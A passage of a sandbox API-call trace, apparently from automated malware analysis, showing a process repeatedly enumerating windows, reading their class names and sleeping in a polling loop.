lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10290, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10288, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10286, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10284, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x1026e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.214] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x10258, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x10252, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x4014e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.215] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.216] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.216] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0150.216] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.216] GetClassNameA (in: hWnd=0x6033c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.216] GetClassNameA (in: hWnd=0x20040, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.216] GetClassNameA (in: hWnd=0x10070, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.216] Sleep (dwMilliseconds=0x64) [0150.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.400] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0150.400] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0150.400] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0150.400] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.400] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.400] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.400] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.400] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.400] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0150.400] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.401] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.401] Sleep (dwMilliseconds=0x64) [0150.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.509] Sleep (dwMilliseconds=0x64) [0150.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.542] Sleep (dwMilliseconds=0x64) [0150.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.586] Sleep (dwMilliseconds=0x64) [0150.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.730] Sleep (dwMilliseconds=0x64) [0150.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.731] Sleep (dwMilliseconds=0x64) [0150.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.733] Sleep (dwMilliseconds=0x64) [0150.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.735] Sleep (dwMilliseconds=0x64) [0150.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.737] Sleep (dwMilliseconds=0x64) [0150.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.739] Sleep (dwMilliseconds=0x64) [0150.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.740] Sleep (dwMilliseconds=0x64) [0150.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.742] Sleep (dwMilliseconds=0x64) [0150.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.743] Sleep (dwMilliseconds=0x64) [0150.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.745] Sleep (dwMilliseconds=0x64) [0150.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.746] Sleep (dwMilliseconds=0x64) [0150.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.748] Sleep (dwMilliseconds=0x64) [0150.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.749] Sleep (dwMilliseconds=0x64) [0150.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.751] Sleep (dwMilliseconds=0x64) [0150.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.752] Sleep (dwMilliseconds=0x64) [0150.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.754] Sleep (dwMilliseconds=0x64) [0150.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.755] Sleep (dwMilliseconds=0x64) [0150.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.757] Sleep (dwMilliseconds=0x64) [0150.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.758] Sleep (dwMilliseconds=0x64) [0150.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.760] Sleep (dwMilliseconds=0x64) [0150.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.761] Sleep (dwMilliseconds=0x64) [0150.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.763] Sleep (dwMilliseconds=0x64) [0150.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.764] Sleep (dwMilliseconds=0x64) [0150.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.766] Sleep (dwMilliseconds=0x64) [0150.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.769] Sleep (dwMilliseconds=0x64) [0150.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.770] Sleep (dwMilliseconds=0x64) [0150.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.772] Sleep (dwMilliseconds=0x64) [0150.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.773] Sleep (dwMilliseconds=0x64) [0150.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.775] Sleep (dwMilliseconds=0x64) [0150.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.777] Sleep (dwMilliseconds=0x64) [0150.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.779] Sleep (dwMilliseconds=0x64) [0150.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.783] Sleep (dwMilliseconds=0x64) [0150.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.796] Sleep (dwMilliseconds=0x64) [0150.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.797] Sleep (dwMilliseconds=0x64) [0150.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.799] Sleep (dwMilliseconds=0x64) [0150.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.800] Sleep (dwMilliseconds=0x64) [0150.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.803] Sleep (dwMilliseconds=0x64) [0150.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.805] Sleep (dwMilliseconds=0x64) [0150.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.807] Sleep (dwMilliseconds=0x64) [0150.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.808] Sleep (dwMilliseconds=0x64) [0150.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.810] Sleep (dwMilliseconds=0x64) [0150.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.812] Sleep (dwMilliseconds=0x64) [0150.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.813] Sleep (dwMilliseconds=0x64) [0150.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.815] Sleep (dwMilliseconds=0x64) [0150.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.816] Sleep (dwMilliseconds=0x64) [0150.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.818] Sleep (dwMilliseconds=0x64) [0150.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.819] Sleep (dwMilliseconds=0x64) [0150.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.821] Sleep (dwMilliseconds=0x64) [0150.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.823] Sleep (dwMilliseconds=0x64) [0150.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.824] Sleep (dwMilliseconds=0x64) [0150.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.826] Sleep (dwMilliseconds=0x64) [0150.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.827] Sleep (dwMilliseconds=0x64) [0150.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.829] Sleep (dwMilliseconds=0x64) [0150.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.886] Sleep (dwMilliseconds=0x64) [0150.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.904] Sleep (dwMilliseconds=0x64) [0150.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.905] Sleep (dwMilliseconds=0x64) [0150.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.907] Sleep (dwMilliseconds=0x64) [0150.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.912] Sleep (dwMilliseconds=0x64) [0150.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.914] Sleep (dwMilliseconds=0x64) [0150.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.949] Sleep (dwMilliseconds=0x64) [0150.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.950] Sleep (dwMilliseconds=0x64) [0150.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.952] Sleep (dwMilliseconds=0x64) [0150.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.953] Sleep (dwMilliseconds=0x64) [0150.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.978] Sleep (dwMilliseconds=0x64) [0150.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.979] Sleep (dwMilliseconds=0x64) [0150.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.981] Sleep (dwMilliseconds=0x64) [0150.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.983] Sleep (dwMilliseconds=0x64) [0150.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.984] Sleep (dwMilliseconds=0x64) [0150.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.988] Sleep (dwMilliseconds=0x64) [0150.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.989] Sleep (dwMilliseconds=0x64) [0150.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.991] Sleep (dwMilliseconds=0x64) [0150.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.995] Sleep (dwMilliseconds=0x64) [0150.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.997] Sleep (dwMilliseconds=0x64) [0150.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.999] Sleep (dwMilliseconds=0x64) [0151.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.001] Sleep (dwMilliseconds=0x64) [0151.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.002] Sleep (dwMilliseconds=0x64) [0151.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.004] Sleep (dwMilliseconds=0x64) [0151.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.008] Sleep (dwMilliseconds=0x64) [0151.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.009] Sleep (dwMilliseconds=0x64) [0151.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.012] Sleep (dwMilliseconds=0x64) [0151.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.013] Sleep (dwMilliseconds=0x64) [0151.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.017] Sleep (dwMilliseconds=0x64) [0151.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.204] Sleep (dwMilliseconds=0x64) [0151.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.252] Sleep (dwMilliseconds=0x64) [0151.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.254] Sleep (dwMilliseconds=0x64) [0151.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.256] Sleep (dwMilliseconds=0x64) [0151.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.258] Sleep (dwMilliseconds=0x64) [0151.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.259] Sleep (dwMilliseconds=0x64) [0151.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.262] Sleep (dwMilliseconds=0x64) [0151.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.263] Sleep (dwMilliseconds=0x64) [0151.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.265] Sleep (dwMilliseconds=0x64) [0151.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.266] Sleep (dwMilliseconds=0x64) [0151.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.268] Sleep (dwMilliseconds=0x64) [0151.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.270] Sleep (dwMilliseconds=0x64) [0151.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.273] Sleep (dwMilliseconds=0x64) [0151.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.274] Sleep (dwMilliseconds=0x64) [0151.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.276] Sleep (dwMilliseconds=0x64) [0151.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.277] Sleep (dwMilliseconds=0x64) [0151.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.279] Sleep (dwMilliseconds=0x64) [0151.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.280] Sleep (dwMilliseconds=0x64) [0151.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.282] Sleep (dwMilliseconds=0x64) [0151.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.284] Sleep (dwMilliseconds=0x64) [0151.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.286] Sleep (dwMilliseconds=0x64) [0151.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.288] Sleep (dwMilliseconds=0x64) [0151.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.291] Sleep (dwMilliseconds=0x64) [0151.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.292] Sleep (dwMilliseconds=0x64) [0151.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.294] Sleep (dwMilliseconds=0x64) [0151.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.295] Sleep (dwMilliseconds=0x64) [0151.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.299] Sleep (dwMilliseconds=0x64) [0151.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.301] Sleep (dwMilliseconds=0x64) [0151.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.302] Sleep (dwMilliseconds=0x64) [0151.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.304] Sleep (dwMilliseconds=0x64) [0151.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.306] Sleep (dwMilliseconds=0x64) [0151.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.308] Sleep (dwMilliseconds=0x64) [0151.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.310] Sleep (dwMilliseconds=0x64) [0151.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.312] Sleep (dwMilliseconds=0x64) [0151.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.313] Sleep (dwMilliseconds=0x64) [0151.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.315] Sleep (dwMilliseconds=0x64) [0151.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.318] Sleep (dwMilliseconds=0x64) [0151.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.330] Sleep (dwMilliseconds=0x64) [0151.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.332] Sleep (dwMilliseconds=0x64) [0151.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.334] Sleep (dwMilliseconds=0x64) [0151.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.335] Sleep (dwMilliseconds=0x64) [0151.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.337] Sleep (dwMilliseconds=0x64) [0151.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.339] Sleep (dwMilliseconds=0x64) [0151.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.341] Sleep (dwMilliseconds=0x64) [0151.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.343] Sleep (dwMilliseconds=0x64) [0151.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.344] Sleep (dwMilliseconds=0x64) [0151.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.346] Sleep (dwMilliseconds=0x64) [0151.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.347] Sleep (dwMilliseconds=0x64) [0151.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.382] Sleep (dwMilliseconds=0x64) [0151.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.468] Sleep (dwMilliseconds=0x64) [0151.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.470] Sleep (dwMilliseconds=0x64) [0151.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.473] Sleep (dwMilliseconds=0x64) [0151.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.485] Sleep (dwMilliseconds=0x64) [0151.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.491] Sleep (dwMilliseconds=0x64) [0151.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.494] Sleep (dwMilliseconds=0x64) [0151.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.497] Sleep (dwMilliseconds=0x64) [0151.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.499] Sleep (dwMilliseconds=0x64) [0151.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.501] Sleep (dwMilliseconds=0x64) [0151.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.504] Sleep (dwMilliseconds=0x64) [0151.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.506] Sleep (dwMilliseconds=0x64) [0151.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.507] Sleep (dwMilliseconds=0x64) [0151.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.509] Sleep (dwMilliseconds=0x64) [0151.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.511] Sleep (dwMilliseconds=0x64) [0151.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.513] Sleep (dwMilliseconds=0x64) [0151.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.515] Sleep (dwMilliseconds=0x64) [0151.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.517] Sleep (dwMilliseconds=0x64) [0151.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.522] Sleep (dwMilliseconds=0x64) [0151.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.524] Sleep (dwMilliseconds=0x64) [0151.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.629] Sleep (dwMilliseconds=0x64) [0151.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.631] Sleep (dwMilliseconds=0x64) [0151.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.632] Sleep (dwMilliseconds=0x64) [0151.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.634] Sleep (dwMilliseconds=0x64) [0151.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.635] Sleep (dwMilliseconds=0x64) [0151.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.637] Sleep (dwMilliseconds=0x64) [0151.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.638] Sleep (dwMilliseconds=0x64) [0151.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.640] Sleep (dwMilliseconds=0x64) [0151.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.641] Sleep (dwMilliseconds=0x64) [0151.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.643] Sleep (dwMilliseconds=0x64) [0151.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.644] Sleep (dwMilliseconds=0x64) [0151.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.647] Sleep (dwMilliseconds=0x64) [0151.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.648] Sleep (dwMilliseconds=0x64) [0151.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.650] Sleep (dwMilliseconds=0x64) [0151.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.651] Sleep (dwMilliseconds=0x64) [0151.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.653] Sleep (dwMilliseconds=0x64) [0151.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.654] Sleep (dwMilliseconds=0x64) [0151.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.656] Sleep (dwMilliseconds=0x64) [0151.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.657] Sleep (dwMilliseconds=0x64) [0151.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.660] Sleep (dwMilliseconds=0x64) [0151.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.662] Sleep (dwMilliseconds=0x64) [0151.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.715] Sleep (dwMilliseconds=0x64) [0151.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.716] Sleep (dwMilliseconds=0x64) [0151.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.718] Sleep (dwMilliseconds=0x64) [0151.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.720] Sleep (dwMilliseconds=0x64) [0151.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.721] Sleep (dwMilliseconds=0x64) [0151.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.723] Sleep (dwMilliseconds=0x64) [0151.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.725] Sleep (dwMilliseconds=0x64) [0151.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.727] Sleep (dwMilliseconds=0x64) [0151.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.729] Sleep (dwMilliseconds=0x64) [0151.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.730] Sleep (dwMilliseconds=0x64) [0151.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.732] Sleep (dwMilliseconds=0x64) [0151.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.735] Sleep (dwMilliseconds=0x64) [0151.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.737] Sleep (dwMilliseconds=0x64) [0151.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.739] Sleep (dwMilliseconds=0x64) [0151.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.741] Sleep (dwMilliseconds=0x64) [0151.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.742] Sleep (dwMilliseconds=0x64) [0151.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.744] Sleep 